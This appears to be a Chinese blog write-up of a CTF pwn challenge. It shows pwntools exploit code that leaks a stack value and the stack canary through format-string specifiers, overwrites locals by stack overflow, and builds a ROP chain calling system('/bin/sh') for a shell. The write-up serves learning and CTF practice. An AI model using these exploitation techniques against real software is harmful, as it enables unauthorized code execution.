PWN:Stein:Gate

套路操作PWN:Canary学习2
开了canary,是64位的RELRO开是开了不过这题目里面没影响,据说是got表不能再更改了,不清楚会咋样,下次碰到题目再说

ida看看
PWN:Canary学习2

进sub_400AF1看到,他的unk_602040在bss上,正好,里面有system函数,把/bin/sh写到bss里面,然后调用system
PWN:Canary学习2

PWN:Canary学习2

PWN:Canary学习2
看到rdi了,那个就是用来给system传参数

pop_rdi=0x400c73 #gadget
system=0x400a76 
bss=0x602040 

p.sendlineafter("What's your ID:","/bin/sh\x00") #把/bin/sh写入bss

pay += p64(pop_rdi) + p64(bss) + p64(system) #把bss里面的内容写入寄存器,调用system


一个一个函数看

PWN:Canary学习2
v2一定要等于0x2333才可以,不然程序就跳转了

栈溢出的时候把v2那里要记得写入成#3

p.sendafter("d.\n","a"*48+"3#")

这里的3#是因为linux存取是倒过来的,因为要输出#3,就应该利用栈溢出把v2的值写成3#,也可以直接写成
p.sendafter(“d.\n”,“a”*48+p64(0x2333))

再进入下一个函数
PWN:Canary学习2
v4要等于v1,所以要泄露v1的值,这里就用格式化字符串
PWN:Canary学习2
var_44就是v0,除去六个寄存器,他距离栈顶12,一个多字节,所以他距离format是第7个参数,用$7把v0泄漏出来

p.sendafter("Repeater is nature of man.\n","%7$p")  #泄露出v0的值
s=p.recvuntil("00")
s=int(s[:-2],16)
print hex(s+0x1234)#v4的值

PWN:Canary学习2
我这里把v0打出来了,因为我当时想了很久为什么要写成s[:-2],可以看到最下面一行就是v0,v0末尾被补0了要去掉,不然和0x1234运算得到的值会出问题
这个问题我当时想了好久。。。。。。

然后再进下一个函数
PWN:Canary学习2
要让v1等于“ff”

p.sendafter("You found it?\n","ff\x00\x00"*12+p32(s+0x1234))

这里v1明明是一个新的函数里面的为什么会写在v4前面呢,我队长跟我讲因为他没有清理栈空间的操作,所以可以把v1直接写到位置上,buf和v4之间48位,v1也在中间,直接把v1写进去

不要忘记这里有格式化字符串漏洞,要泄漏出来canary的值

p.sendafter("Payment of past debts.\n","%11$p") #泄露出canary值 具体怎么推算不写了,算了好      几次这个了,之前也写过了
s=int(p.recvuntil("00"),16)
print hex(s)

好了七七八八小东西我们都搞定了,再来理一遍思路

首先把\bin\sh写入bss,然后找到system传参数的gadget,然后在main函数里面依次运行,首先让v2通过栈溢出,写入目标值,然后下一个函数,格式化字符串的方式泄漏v0的值,把v4写成0x1234+v0,再发现v1要写成ff,把v1写好,然后因为这个函数有格式化字符串漏洞,泄漏canary,最后构造payload链绕过canary,执行system函数

pay = "a"*48+"3#\x00\x00"*2+p64(s)+"a"*8   #填充canary
pay += p64(pop_rdi) + p64(bss) + p64(system )#调用system
p.recvuntil("To seek the truth of the world.")
p.send(pay)
p.interactive()

完整exp
PWN:Canary学习2

PWN:Canary学习2

got it~~~

相关文章:

  • 2022-01-15
  • 2021-09-20
  • 2021-12-16
  • 2021-04-22
  • 2021-12-20
  • 2021-06-27
  • 2021-09-05
  • 2021-09-22
猜你喜欢
  • 2021-12-20
  • 2021-10-01
  • 2021-10-07
  • 2021-12-05
  • 2021-12-15
  • 2021-11-28
  • 2022-01-07
相关资源
相似解决方案